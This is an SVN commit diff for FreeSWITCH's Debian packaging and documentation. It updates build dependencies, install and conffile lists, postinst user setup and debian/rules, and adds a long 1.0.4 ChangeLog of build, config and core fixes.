+   * mod_voicemail: voicemail insert into the proper fields (MODAPP-190)
+   * mod_voipcodecs: add  G.726 24k (r:12083)
+   * sofia-sip: update to current sofia-sip repository
+   * spandsp: sync to latest snapshot and fix windows build
+   * speex: updated to 1.2rc1
+   * sqlite: fix random assert on windows (FSCORE-292)
+
+ -- Mike Jerris <mike@jerris.com>  Mon, 18 Feb 2009 17:39:00 -0500
+
 freeswitch (1.0.2-1) unstable; urgency=low
 
    * all: don't add module interfaces before returning from error conditions in module load functions (MDXMLINT-36)

Modified: freeswitch/branches/seven/debian/control (14471 => 14472)


--- freeswitch/branches/seven/debian/control	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/debian/control	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2,7 +2,7 @@
 Maintainer: Michal Bielicki <michal.bielicki@voiceworks.pl>
 Section: net
 Priority: extra
-Build-Depends: debhelper (>= 5), fakeroot, wget, automake1.9, autoconf, libtool, unixodbc-dev, libasound2-dev, libcurl3-openssl-dev|libcurl4-openssl-dev, libssl-dev, ncurses-dev, libogg-dev, libvorbis-dev, libperl-dev, libgdbm-dev, libdb-dev, libgnutls-dev, libtiff4-dev
+Build-Depends: debhelper (>= 5), fakeroot, wget, automake1.9, autoconf, libtool, unixodbc-dev, libasound2-dev, libcurl3-openssl-dev|libcurl4-openssl-dev, libssl-dev, ncurses-dev, libogg-dev, libvorbis-dev, libperl-dev, libgdbm-dev, libdb-dev, libgnutls-dev, libtiff4-dev, python
 Standards-Version: 3.7.3
 
 Package: freeswitch

Modified: freeswitch/branches/seven/debian/copyright (14471 => 14472)


--- freeswitch/branches/seven/debian/copyright	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/debian/copyright	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,10 +1,13 @@
 This package was debianized by Michal Bielicki 
 <michal.bielicki@voiceworks.pl> on Now 25, 2007.
- The source was downloaded from http://www.freewitch.org.
 
+The current Debian maintainer is Nicholas Amorim <nicholas@montrealconsultoria.com.br>
+
+The source was downloaded from http://www.freewitch.org/
+
 Upstream authors:
 Anthony Minessale II <anthmct@yahoo.com>
-Portions created by the Initial Developer are Copyright (C)
+Portions created by the Initial Developer are Copyright (C) 2006-2009
 the Initial Developer. All Rights Reserved.
 
 The PRIMARY AUTHORS are (and/or have been):

Modified: freeswitch/branches/seven/debian/freeswitch-dev.install (14471 => 14472)


--- freeswitch/branches/seven/debian/freeswitch-dev.install	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/debian/freeswitch-dev.install	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,6 @@
 opt/freeswitch/lib/*.a
 opt/freeswitch/lib/*.la
+opt/freeswitch/lib/pkgconfig/spandsp.pc
 opt/freeswitch/mod/*.a
 opt/freeswitch/mod/*.la
-opt/freeswitch/include/*.h
+opt/freeswitch/include/*

Modified: freeswitch/branches/seven/debian/freeswitch.conffiles (14471 => 14472)


--- freeswitch/branches/seven/debian/freeswitch.conffiles	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/debian/freeswitch.conffiles	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,15 +6,22 @@
 /opt/freeswitch/conf/voicemail.tpl
 /opt/freeswitch/conf/freeswitch.xml
 /opt/freeswitch/conf/extensions.conf
+/opt/freeswitch/conf/zt.conf
+/opt/freeswitch/conf/tones.conf
+/opt/freeswitch/conf/pika.conf
+/opt/freeswitch/conf/notify-voicemail.tpl
+/opt/freeswitch/conf/m3ua.conf
 /opt/freeswitch/conf/dialplan/public.xml
 /opt/freeswitch/conf/dialplan/default.xml
 /opt/freeswitch/conf/dialplan/features.xml
 /opt/freeswitch/conf/dialplan/default/00_pizza_demo.xml
+/opt/freeswitch/conf/dialplan/default/01_example.com.xml
 /opt/freeswitch/conf/dialplan/default/99999_enum.xml
 /opt/freeswitch/conf/dialplan/public/00_inbound_did.xml
 /opt/freeswitch/conf/sip_profiles/external.xml
 /opt/freeswitch/conf/sip_profiles/internal/example.xml
 /opt/freeswitch/conf/sip_profiles/internal.xml
+/opt/freeswitch/conf/sip_profiles/internal-ipv6.xml
 /opt/freeswitch/conf/sip_profiles/external/example.xml
 /opt/freeswitch/conf/directory/default/1007.xml
 /opt/freeswitch/conf/directory/default/1001.xml
@@ -38,8 +45,10 @@
 /opt/freeswitch/conf/directory/default/1006.xml
 /opt/freeswitch/conf/directory/default/1016.xml
 /opt/freeswitch/conf/directory/default/1012.xml
+/opt/freeswitch/conf/directory/default/example.com.xml
 /opt/freeswitch/conf/directory/default.xml
 /opt/freeswitch/conf/autoload_configs/ivr.conf.xml
+/opt/freeswitch/conf/autoload_configs/shout.conf.xml
 /opt/freeswitch/conf/autoload_configs/voicemail.conf.xml
 /opt/freeswitch/conf/autoload_configs/switch.conf.xml
 /opt/freeswitch/conf/autoload_configs/syslog.conf.xml
@@ -69,5 +78,12 @@
 /opt/freeswitch/conf/autoload_configs/console.conf.xml
 /opt/freeswitch/conf/autoload_configs/timezones.conf.xml
 /opt/freeswitch/conf/autoload_configs/fax.conf.xml
+/opt/freeswitch/conf/autoload_configs/acl.conf.xml
+/opt/freeswitch/conf/autoload_configs/lcr.conf.xml
+/opt/freeswitch/conf/autoload_configs/opal.conf.xml
+/opt/freeswitch/conf/autoload_configs/easyroute.conf.xml
+/opt/freeswitch/conf/autoload_configs/memcache.conf.xml
+/opt/freeswitch/conf/autoload_configs/unicall.conf.xml
+/opt/freeswitch/conf/autoload_configs/python.conf.xml
 /opt/freeswitch/conf/jingle_profiles/server.xml
 /opt/freeswitch/conf/jingle_profiles/client.xml

Modified: freeswitch/branches/seven/debian/freeswitch.install (14471 => 14472)


--- freeswitch/branches/seven/debian/freeswitch.install	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/debian/freeswitch.install	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,9 @@
 opt/freeswitch/htdocs/*
 opt/freeswitch/bin/freeswitch
 opt/freeswitch/bin/fs_cli
+opt/freeswitch/bin/gentls_cert
+opt/freeswitch/bin/fsxs
+opt/freeswitch/bin/fs_ivrd
 opt/freeswitch/bin/scripts/*
 opt/freeswitch/lib/libfreeswitch*.so*
 opt/freeswitch/lib/libopenzap*.so*
@@ -14,6 +17,8 @@
 opt/freeswitch/mod/mod_limit.so*
 opt/freeswitch/mod/mod_ilbc.so*
 opt/freeswitch/mod/mod_speex.so*
+opt/freeswitch/mod/mod_siren.so*
+opt/freeswitch/mod/mod_celt.so*
 opt/freeswitch/mod/mod_esf.so*
 opt/freeswitch/mod/mod_logfile.so*
 opt/freeswitch/mod/mod_syslog.so*
@@ -23,19 +28,20 @@
 opt/freeswitch/mod/mod_enum.so*
 opt/freeswitch/mod/mod_fifo.so*
 opt/freeswitch/mod/mod_voipcodecs.so*
-opt/freeswutch/mod/mod_speex.so*
+opt/freeswitch/mod/mod_speex.so*
 opt/freeswitch/mod/mod_dialplan*.so*
 opt/freeswitch/mod/mod_dingaling.so*
 opt/freeswitch/mod/mod_iax.so*
 opt/freeswitch/mod/mod_portaudio.so*
 opt/freeswitch/mod/mod_sofia.so*
 opt/freeswitch/mod/mod_openzap.so
-opt/freeswitch/mod/ozmod_analog_em.so
-opt/freeswitch/mod/ozmod_analog.so
-opt/freeswitch/mod/ozmod_isdn.so
-opt/freeswitch/mod/ozmod_ss7_boost.so
-opt/freeswitch/mod/ozmod_wanpipe.so
-opt/freeswitch/mod/ozmod_zt.so
+opt/freeswitch/mod/ozmod_analog_em.so*
+opt/freeswitch/mod/ozmod_analog.so*
+opt/freeswitch/mod/ozmod_isdn.so*
+opt/freeswitch/mod/ozmod_skel.so*
+opt/freeswitch/mod/ozmod_ss7_boost.so*
+opt/freeswitch/mod/ozmod_wanpipe.so*
+opt/freeswitch/mod/ozmod_zt.so*
 opt/freeswitch/mod/mod_event_*.so*
 opt/freeswitch/mod/mod_native_file.so*
 opt/freeswitch/mod/mod_sndfile.so*
@@ -50,15 +56,24 @@
 opt/freeswitch/conf/web-vm.tpl
 opt/freeswitch/conf/tetris.ttml
 opt/freeswitch/conf/fur_elise.ttml
+opt/freeswitch/conf/openzap.conf
+opt/freeswitch/conf/wanpipe.conf
+opt/freeswitch/conf/zt.conf
+opt/freeswitch/conf/tones.conf
+opt/freeswitch/conf/pika.conf
+opt/freeswitch/conf/notify-voicemail.tpl
+opt/freeswitch/conf/m3ua.conf
 opt/freeswitch/conf/dialplan/public.xml
 opt/freeswitch/conf/dialplan/default.xml
 opt/freeswitch/conf/dialplan/features.xml
 opt/freeswitch/conf/dialplan/default/00_pizza_demo.xml
+opt/freeswitch/conf/dialplan/default/01_example.com.xml
 opt/freeswitch/conf/dialplan/default/99999_enum.xml
 opt/freeswitch/conf/dialplan/public/00_inbound_did.xml
 opt/freeswitch/conf/sip_profiles/external.xml
 opt/freeswitch/conf/sip_profiles/internal/example.xml
 opt/freeswitch/conf/sip_profiles/internal.xml
+opt/freeswitch/conf/sip_profiles/internal-ipv6.xml
 opt/freeswitch/conf/sip_profiles/external/example.xml
 opt/freeswitch/conf/directory/default/1007.xml
 opt/freeswitch/conf/directory/default/1001.xml
@@ -82,11 +97,14 @@
 opt/freeswitch/conf/directory/default/1006.xml
 opt/freeswitch/conf/directory/default/1016.xml
 opt/freeswitch/conf/directory/default/1012.xml
+opt/freeswitch/conf/directory/default/example.com.xml
 opt/freeswitch/conf/directory/default.xml
 opt/freeswitch/conf/voicemail.tpl
 opt/freeswitch/conf/freeswitch.xml
 opt/freeswitch/conf/extensions.conf
+opt/freeswitch/conf/autoload_configs/openzap.conf.xml
 opt/freeswitch/conf/autoload_configs/ivr.conf.xml
+opt/freeswitch/conf/autoload_configs/shout.conf.xml
 opt/freeswitch/conf/autoload_configs/voicemail.conf.xml
 opt/freeswitch/conf/autoload_configs/switch.conf.xml
 opt/freeswitch/conf/autoload_configs/syslog.conf.xml
@@ -116,5 +134,13 @@
 opt/freeswitch/conf/autoload_configs/console.conf.xml
 opt/freeswitch/conf/autoload_configs/timezones.conf.xml
 opt/freeswitch/conf/autoload_configs/fax.conf.xml
+opt/freeswitch/conf/autoload_configs/fifo.conf.xml
+opt/freeswitch/conf/autoload_configs/acl.conf.xml
+opt/freeswitch/conf/autoload_configs/lcr.conf.xml
+opt/freeswitch/conf/autoload_configs/opal.conf.xml
+opt/freeswitch/conf/autoload_configs/easyroute.conf.xml
+opt/freeswitch/conf/autoload_configs/memcache.conf.xml
+opt/freeswitch/conf/autoload_configs/unicall.conf.xml
+opt/freeswitch/conf/autoload_configs/python.conf.xml
 opt/freeswitch/conf/jingle_profiles/server.xml
 opt/freeswitch/conf/jingle_profiles/client.xml

Modified: freeswitch/branches/seven/debian/postinst (14471 => 14472)


--- freeswitch/branches/seven/debian/postinst	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/debian/postinst	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,8 +25,8 @@
 			adduser --disabled-password  --quiet --system \
 			--home /opt/freeswitch \
 			--gecos "FreeSwitch Voice Platform" --ingroup daemon \
-			--add_extra_groups audio \
 			freeswitch
+			adduser freeswitch audio
 		fi
  
 		mkdir -p /opt/freeswitch

Modified: freeswitch/branches/seven/debian/rules (14471 => 14472)


--- freeswitch/branches/seven/debian/rules	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/debian/rules	2009-08-09 18:53:22 UTC (rev 14472)
@@ -15,7 +15,7 @@
 			    applications/mod_rss applications/mod_voicemail applications/mod_fsv \
 			    applications/mod_fax
 export ASR_TTS_MODULES=
-export CODECS_MODULES=codecs/mod_ilbc codecs/mod_h26x codecs/mod_speex codecs/mod_voipcodecs
+export CODECS_MODULES=codecs/mod_ilbc codecs/mod_h26x codecs/mod_speex codecs/mod_voipcodecs codecs/mod_siren codecs/mod_celt
 export DIALPLANS_MODULES=dialplans/mod_dialplan_asterisk dialplans/mod_dialplan_directory dialplans/mod_dialplan_xml
 export DIRECTORIES_MODULES=
 export DOTNET_MODULES=
@@ -115,31 +115,15 @@
 binary-arch: build install
 	dh_testdir
 	dh_testroot
-#	dh_installchangelogs
-#	dh_installdocs
-#	dh_installexamples
-#	dh_install
-#	dh_installmenu
-#	dh_installdebconf	
-#	dh_installlogrotate
-#	dh_installemacsen
-#	dh_installcatalogs
-#	dh_installpam
-#	dh_installmime
+	dh_installdocs
+	dh_installchangelogs
 	dh_installinit --sourcedir=debian/tmp
-#	dh_installcron
-#	dh_installinfo
-#	dh_undocumented
-#	dh_installman
 	cp debian/monit/freeswitch.monitrc debian/freeswitch/etc/monit/freeswitch.monitrc
 	dh_install --sourcedir=debian/tmp
 	dh_link
 	dh_strip --dbg-package=freeswitch
 	dh_compress
 	dh_fixperms --exclude /opt/freeswitch/conf
-#	dh_perl
-#	dh_python
-#	dh_makeshlibs
 	dh_installdeb
 	dh_shlibdeps --exclude=/opt/freeswitch
 	dh_gencontrol

Modified: freeswitch/branches/seven/docs/AUTHORS (14471 => 14472)


--- freeswitch/branches/seven/docs/AUTHORS	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/docs/AUTHORS	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,11 +1,11 @@
 The Initial Developer of the Original Code is
-Anthony Minessale II <anthmct@yahoo.com>
+Anthony Minessale II <anthm@freeswitch.org>
 Portions created by the Initial Developer are Copyright (C)
 the Initial Developer. All Rights Reserved.
 
 The PRIMARY AUTHORS are (and/or have been):
 
- Anthony Minessale II <anthmct@yahoo.com> - Primary developer of all core components
+ Anthony Minessale II <anthm@freeswitch.org> - Primary developer of all core components
  	and many of the included modules.  Much of freeswitch is based on his work.
  
  Michael Jerris <mike@jerris.com> - Windows porter and responsible for the 

Modified: freeswitch/branches/seven/docs/ChangeLog (14471 => 14472)


--- freeswitch/branches/seven/docs/ChangeLog	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/docs/ChangeLog	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,803 @@
+freeswitch (1.0.4)
+
+	add: TextMate bundle for FreeSWITCH - thanks mrene (r:12559-12560)
+	add: ZRTP Support please download your SDK from http://www.zfone.com and use build/buildzrtp.sh to build the lib. (r:13406)
+	add: gdb helpers to .gdbinit
+	all: numerous code cleanups, removal of unused variables
+	all: update numerous Doxygen comments
+	build: fix mod_flite (FSBUILD-126/r:12153)
+	build: fix getlib.sh curl/wget detection (12175)
+	build: add msvc 2005 project files (r:12197)
+	build: rename spandsp project files windows (r:12195)
+	build: fix spandsp windows build, msvc 2005 (r:12199-12202)
+	build: merge x64 build for msvc9 (r:12207)
+	build: add libtiff auto-download to msvc build (r:12212)
+	build: update to match spandsp api (FSBUILD-129/r:12214)
+	build: inital work on x64 windows build (FSBUILD-125/r:12215)
+	build: fix spandsp msvc build issues (r:12218-12220,12223)
+	build: fix msvc configuration manager for x64 targets in both 2008 sln files (r:12227)
+	build: use compiler intrinsics for windows x64 build (FSBUILD-131/r:12245)
+	build: fix version generator on windows (FSBUILD-115/FSBUILD-69/r:12247)
+	build: fix various msvc build issues (r:12272-12276)
+	build: silence nuisance sun cc warnings (r:12462)
+	build: updated windows projects for flite (FSBUILD-128/FSBUILD-133/r:12477)
+	build: download flite from right tarball location (FSBUILD-135/r:12482)
+	build: rework Windows build for pocketsphinx 5.1 (MODASRTTS-13/r:12483,12541)
+	build: fix automake 1.7 build (r:12487)
+	build: build path cleanups (FSBUILD-130/r:12490)
+	build: fix rebuild every time on msvc 2008 non team editions (FSBUILD-132/r:12492)
+	build: add skypiax to sln file and fix some warnings (r:12502)
+	build: fixed openzap.conf issue in deb package (r:12506)
+	build: fix rlim_t build on Mac (FSCORE-325/r:12533)
+	build: Solaris doesn't define RLIMIT_NPROC (FSCORE-326/r:12534)
+	build: removal of file reference for flite (FSBUILD-139/r:12540)
+	build: integrate mod_erlang_event into the buildsystem (FSBUILD-142/r:12587)
+	build: Fix FreeBSD build (r:12678)
+	build: fix libsoundtouch build dependencies after a configure failure (MODAPP-243/r:12783)
+	build: fix odbc detection to not try to use odbc when no headers are installed (r:12788)
+	build: add build of fs_ivrd (r:12843)
+	build: sphinx downloads for windows (FSBUILD-146/r:12853)
+	build: Build fails at bootstrap with libtool 2.2.6a (FSBUILD-82/r:12899)
+	build: add python build dependency to debian package build (FSBUILD-145/r:12920)
+	build: add libtool major version detection to configure in prep for supporting both libtool 2.x and 1.5.x at the same time (r:12922,12926-27)
+	build: fix older gcc build (FSBUILD-150/r:12924)
+	build: Add a fallback check in case libtool is not yet available in the builddir (get the version from build/config/ltmain.sh instead). print an error message and exit configure if that fails too (r:12933)
+	build: Add mod_memcache (commented) to modules.conf.in (r:12955)
+	build: make libtool version detection more robust (r:12979)
+	build: we need DYNAMIC_LIB_EXTEN for mod_perl and others (r:13023)
+	build: add mod_say_ru to modules.conf.in (r:13037)
+	build: bump sounds version (r:13040)
+	build: use different version file for moh version (r:13093)
+	build: de-couple version numbers and builds of sound files and moh files (FSBUILD-153/r:13096)
+	build: use sound_version.txt and moh_version.txt to determine sound file version on windows (FSBUILD-152/r:13097)
+	build: use in tree libtiff for msvc build and fix some header generation checks (r:13150)
+	build: clean esl on make current (r:13204,13205)
+	build: fix warning-as-error that stops MSVC from building solution (FSCORE-367/r:13301)
+	build: fix MSVC build issue from r13294 (FSBUILD-159/r:13302)
+	build: remove broken code analysis test (r:13364)
+	build: cleanup msvc code analysis warnings (r:13366)
+	build: Add mod_file_string to build + misc cleaning and correction (FSBUILD-158/r:13367)
+	build: add new files to debian package build (FSBUILD-148/r:13368)
+	build: fix mod_file_string dependencies on windows (r:13370)
+	build: fix mod_pocketsphinx build error (JANITOR-1/r:13372)
+	build: fix PTHREAD_MUTEX_RECURSIVE detection on SUSE 10 (r:13386,13390)
+	build: remove regression caused by r13362 (r:13401)
+	build: add mod_nibblebill (r:13462)
+	build: fix msvc build (r:13467/FSBUILD-165)
+	build: add siren to the default build and install (r:13470)
+	build: add upnp to windows build (r:13535)
+	build: fix msvc 64 bit build regression from upnp build (r:13538/FSBUILD-167)
+	build: Check for ifaddrs.h before including it (r:13600/FSBUILD-168)
+	build: fix jobserver unavailable bug in make -j (r:13623/FSBUILD-6)
+	build: clean/uninstall disabled modules as well (r:13716/FSBUILD-85)
+	build: fix msvc pcre build for pcre 7.9 (r:13729)
+	build: trivial build fix (FSBUILD-174/r:13877)
+	build: fix automake warnings about underquoted definitions in apr macros (FSBUILD-175/r:13882)
+	build: make libtool version detection more portable (r:13926)
+	build: change ODBC handling in code to be runtime instead of build time (r:13936)
+	build: update of spec file for current trunk (FSBUILD-176/r:13988)
+	build: replace mod_radius_cdr's Makefile.am with Makefile that pulls freeradius-client source when needed (r:14053)
+	build: add experimental modules section to modules.conf.in (r:14062)
+	build: allow comments (using ##) in modules.conf (r:14093)
+	build: update to 0.6.0 celt codec (r:14206)
+	build: fix 64 bit build of radius modules (FSBUILD-179/r:14201)
+	build: use internal libtiff instead of system libtiff (r:14321)
+	build: partial libsndfile build fix (FSBUILD-180/r14330)
+	build: fix compile on Mac OS X Snow Leopard 10.6 (FSBUILD-178/r:14333)
+	config: default config, calling own extension no longer goes to voicemail (r:12596)
+	config: default config, 1000-1019 uses $${default_password} instead of hard-coded 1234 (FSCONFIG-5/r:12838)
+	config: tweak the configs to bind siptrace on and off to F10 and F11 (r:12938)
+	config: Update sample IVR to include ClueCon reg option :) (r:13043)
+	config: Add ext 9991 as ClueCon ext; use transfer instead of bridge on demo ivr opt #4 (r:13046)
+	config: remove invalid options from profiles (r:13153)
+	config: add documention for dist-dtmf member flag in conference.conf.xml
+	config: remove mailbox= attribute (r:13375)
+	config: add default local stream (r:13376)
+	config: small regex adjustment so we can dial PSTN numbers that happen to have 4000 in them (r:13409)
+	config: you can call 9999 from a zrtp endpoint and enroll this should be replaced with an IVR to explain it a bit but most of the work happens client side at this point (r:13445)
+	config: add mod_nibblebill (r:13458)
+	config: clear up docs (r:13468)
+	config: clarify zrtp docs in vars.xml and give link on where to get more info  (r:13469)
+	config: tweaks to codecs in default config (r:13485)
+	config: Add example of sending SAS from b-leg to display on a-leg's phone (r:13500)
+	config: commit config options for new auto nat (r:13595)
+	config: Remove use_profile from default dialplan, move to vars.xml, default value is 'internal'
+	config: clean up configs and put wan.auto in by default commented out (r:13907)
+	config: turn on rollover by default (r:13940)
+	config: remove unused param comfort-noise-level from default conference config file (MODAPP-299/r:14350)
+	core: fix suncc visibility support in libteletone (r:12154-12157)
+	core: fix crash on FS shutdown with "..." (FSCORE-297/r:12173,12361,12402)
+	core: add separate mutex for state related methods (r:12191)
+	core: move media bug removal to hangup state (r:12225)
+	core: create indexes for ODBC (r:12235)
+	core: add direction col to sql db, add direction param to session_create, log DTMF digits to digits_dialed variable for CDR (r:12244)
+	core: avoid operations on closed file handles in embedded languages (r:12255)
+	core: fix bridging issue from r:12244 (FSCORE-308/r:12257)
+	core: fix segfault after 2000 calls, 5 days uptime (FSCORE-309/r:12267-12270)
+	core: fix crash in switch_ivr_digit_stream_parser_feed (MODAPP-221/r:12262)
+	core: fix issue in monitor_early_media_fail (r:12271)
+	core: fix leak in switch_event.c (r:12291-12292)
+	core: clean up ivr_menu, prevent recursion (r:12295)
+	core: improve memory usage (r:12317)
+	core: fix leak in switch_ivr_async.c (r:12330)
+	core: fix leak in switch_channel.c (r:12332)
+	core: uuid_displace stopped working when limit arg used (MODAPP-225/r:12368)
+	core: fix att_xfer media bug problem (FSCORE-317/r:12390)
+	core: improve stability (FSCORE-297/FSCORE-305/FSCORE-315/r:12392,12403)
+	core: add new state for CDR and leg_delay_start originate var (r:12403-12404)
+	core: Make MESSAGE work with SIP PATH Exension (FSCORE-310/r:12426)
+	core: fix uninitialized mutex in switch_core_media_bug (FSCORE-320/r:12428)
+	core: fix segfault with eavesdrop (FSCORE-319/r:12429)
+	core: add generic config parser - thanks mrene (r:12432)
+	core: add sessions since start up to heartbeat event (r:12472)
+	core: increase buffer size for regex api (MODAPP-228/r:12480)
+	core: fix FreeSWITCH start failure - "Error: stacksize 240 is too large" (FSCORE-323/r:12509)
+	core: unloading endpoint module now removes from endpoint list (MODENDP-196/r:12535)
+	core: fix deadlock in fsctl hupall (r:12544)
+	core: add origination_pricavy var to originate api (r:12546)
+	core: increase stack limit for switch_system (FSCORE-328/r:12569)
+	core: fix uuid_originate param not assigning uuid properly (FSCORE-322/r:12591)
+	core: add check for a and b leg no answer on bridge (r:12595)
+	core: fix origination_privacy var (r:12603)
+	core: fix group_confirm regression from svn r12403 (r:12616)
+	core: fix caller ID values not being set in CHANNEL_OUTGOING (FSCORE-336/r:12643)
+	core: make -vg imply -waste so valgrind runs won't re-exec (r:12670)
+	core: add apr_pool_mutex_set() to our apr to fix thread-saftey issue (r:12672)
+	core: make port allocator more random (r:12673,12675)
+	core: make switch_channel_get_variable strdup so the pointer returned is safe and clean up the state locking (r:12674)
+	core: Empty audio files should not be created when RECORD_ANSWER_REQ is set to true and a call is not bridged (r:12682)
+	core: add transfer_after_bridge var (r:12691)
+	core: other_leg_unique_id incorrectly set when briding with using ',' (FSCORE-331/r:12704)
+	core: make gaussian noise less noisy (FSCORE-340/r:12720)
+	core: add import vars to FIFO (r:12722)
+	core: fix switch_core_file_write method not writing the entire buffer to the file (FSCORE-341/r:12728)
+	core: fix hanguphook order of operations vs destroy method issue in c++ code (r:12730)
+	core: rearrange hangup callflow to do more work in the session's own thread (r:12784)
+	core: Allow variables containing variables in set and export (MODAPP-241/r:12804)
+	core: add read_terminator_used var (r:12840)
+	core: change blocking rtp to psuedo-blocking to avoid endlessly blocking reads and refactor jitter buffer (r:12846)
+	core: add rtp-autoflush profile param and rtp_autoflush var (r:12854)
+	core: fix various small leaks (FSCORE-347/r:12873)
+	core: add a couple, two tree stats (r:12913)
+	core: fix play_and_get_digits to unset the var if the regex didn't match (r:12921)
+	core: drop divide by 2 from normalize func (r12935)
+	core: add missing begin/end, allow threads to read and play_and_get_digits methods (r:12958)
+	core: fix windows calling conventions for modules with sub-modules broken in svn r12919 (r:12960)
+	core: add flag to denote if a codec is init or not (FSCORE-349/r:12961)
+	core: add more specific checks to new macro just to be safe (r:12973)
+	core: change CS_DONE to CS_DESTROY and add state handler for destroy and tear down critical parts of the channel from this method which is not called until it's impossible for anything to be referencing the channel (after final write lock and before destroying the pool) (r:12986)
+	core: fix regression from earlier commit (FSCORE-352/r:12987)
+	core: expand channel variables for sound files in IVRs (MODAPP-257/r:13005)
+	core: clone frames in loopback so we can smooth it out better, now with more memory usage (tm) maybe this will curb pepople from using it like candy (r:13011)
+	core: run expand_vars if input contains a special escaped character not just when it contains a variable to eat up back slashes (r:13015)
+	core: change names to be more explicit (r:13028)
+	core: xml_config: Fix issue where default NULL strings were ignored on reload (r:13052)
+	core: autoflush on bridge and add bridge_hangup_cause variable to indicate the hangup cause of the last bridged channel (r:13065)
+	core: add record_ms, record_samples, playback_ms and playback_samples chanvars (r:13105)
+	core: make state_handler macros not let you install the same one more than once (r:13111)
+	core: Do not use struct fd_set uninitialized (always FD_ZERO() them, before using FD_SET() on a new one, or reusing them after select()). Fixes a segfault on solaris (r:13125)
+	core: Fix missing UNPROTECT_INTERFACE in case pre_answer fails (r:13130)
+	core: add record_waste_resources channel variable to send blank audio during recording (r:13144)
+	core: add auto-sync idle timers in switch_time.c (r:13161)
+	core: Add Q850 hangup cause variable (FSCORE-356/r:13163)
+	core: keep presence up to date (r:13166)
+	core: fix failed_xml_cdr_prefix is processed before all variables for the b-leg have been generated (FSCORE-357/r:13167,13176,13264,13274,13285)
+	core: failed_xml_cdr_prefix doesn't work for list of destinations separated by pipe (FSCORE-359/r:13209)
+	core: add support for gcc 4.4.0 (FSCORE-355/r:13210)
+	core: add resume command to event socket and socket_resume variable (r:13212)
+	core: prevent buffer destroy race (r:13219)
+	core: move originate retry related vars to only be in {} not in channel variable list (r:13225)
+	core: Make { } vars take precedence over channel variables (r:13228)
+	core: fix memory issue in core file resampling code (r:13233)
+	core: fix play and get digits when using phrase macros (r:13244)
+	core: Don't set the caller name to origination_uuid's value (r:13248)
+	core: Add switch_xml_parse_str_dynamic and switch_xml_parse_str_dup (r:13255)
+	core: In IVR menu use menu-timeout instead of menu-inter-digit-timeout when no digits have been entered (r:13279)
+	core: fix segault on OpenSolaris 2009.06 snv_111a (FSCORE-365/r:13286)
+	core: allow socket app to operate without pre_answer (r:13294)
+	core: ensure vasprintf is available on linux (FSBUILD-160/r:13358,13361)
+	core: setgroup/initgroup availability on linux (FSBUILD-160/r:13359)
+	core: use uint16_t instead of u_short (FSBUILD-160/r:13360)
+	core: add configure checks for tm->tm_gmtoff and tm->tm_zone (FSBUILD-160/r:13362)
+	core: Fix IVR key response broken when multiple files are played (MODAPP-280/r:13382)
+	core: fixx off-by-one in xml preprocessor (r:13385)
+	core: fix windows pch (r:13392)
+	core: fix segfault on out of memory situation.  (r:13398/FSCORE-366)
+	core: treat app::arg syntax in execute_on_answer as a broadcast request (r:13400)
+	core: use our own handler so it won't get overriden by anyone if zrtp is on (r:13411)
+	core: fix backslash getting removed from regex when using mod_xml_curl (r:13414/FSCORE-370)
+	core: fix handle leak in switch_thread_self on windows (r:13421/FSCORE-371)
+	core: allow switching from secure to clear and back (r:13422)
+	core: add more options to zrtp (r:13424)
+	core: add buffer flush (r:13425)
+	core: add some stuff for zrtp (r:13426)
+	core: can't flush because you have a chance of dumping zrtp control frames (r:13427)
+	core: add zrtp_sas1_string and zrtp_sas2_string variables (r:13429)
+	core: zrtp - this should make sure the secure mitm has a chance over latent connections (r:13436)
+	core: properly detect unterminated (r:13438)
+	core: zrtp - fix mitm to be more reliable (r:13443)
+	core: zrtp - mark verified (r:13444)
+	core: zrtp_secure_media=true will have to be set to true in order for your zrtp to work moving forward similar to how srtp_secure_media works.(r:13461)
+	core: prevent zrtp and srtp at the same time (r:13486)
+	core: add CALL_SECURE event (r:13487)
+	core: add show secure channel status in "show channels" output (r:13502/FSRTP-2)
+	core: add CHANNEL_HANGUP_COMPLETE event to take the place of CHANNEL_HANGUP, CHANNEL_HANGUP now fires as soon as the channel is hungup but you must wait for CHANNEL_HANGUP_COMPLETE for the CDR data (r:13505)
+	core: fix core dump when calling session.execute (r:13508/FSCORE-373)
+	core: add netmask detection for nat discovery work (r:13549)
+	core: fix order of ops to enable logging sooner (r:13556)
+	core: add hunt_caller_profile (r:13625,13626)
+	core: add usec delta to log (r:13647)
+	core: add padding to cycles on session_record (r:13648)
+	core: Export swtich_inet_ntop so modules can use it (r:13738)
+	core: record_sample_rate variable influences the rate record app will use (r:13767,13768,13769)
+	core: init buffer in lead out on speak (r:13787)
+	core: add local_var_clobber variable for {} to set if [] vars should clobber {} vars (default false) (r:13842)
+	core: Fix switch_odbc_handle_callback_exec_detailed to handle floating point database columns properly (FSCORE-384/r:13866)
+	core: set sound path in say app (r:13904)
+	core: add wan.auto acl (r:13905)
+	core: Fix ACL nat.auto (FSCORE-385/r:13925)
+	core: add hostname variable (FSCORE-374/r:13982)
+	core: decrement RWLOCK->rwlock->__data->__nr_readers after Redirect/Transfer (FSCORE-391/r:14030)
+	core: add features to nat-pmp (Thanks Rupa) (FSCORE-381/r:14055)
+	core: fix error message that gives wrong stack size (FSCORE-395/r:14058)
+	core: Fix IVR menu timeout issue (MODAPP-301/r:14129)
+	core: add time of day routing attrs to condition tags in xml dialplan (r:14137)
+	core: change timing for media bug recording *yet again* (r:14143)
+	core: Fix voicemail rewind key, improve file seek (MODAPP-305/FSCORE-401/r:14199)
+	core: Fix uPNP for WRT-54TG-TM (FSCORE-402/r:14241)
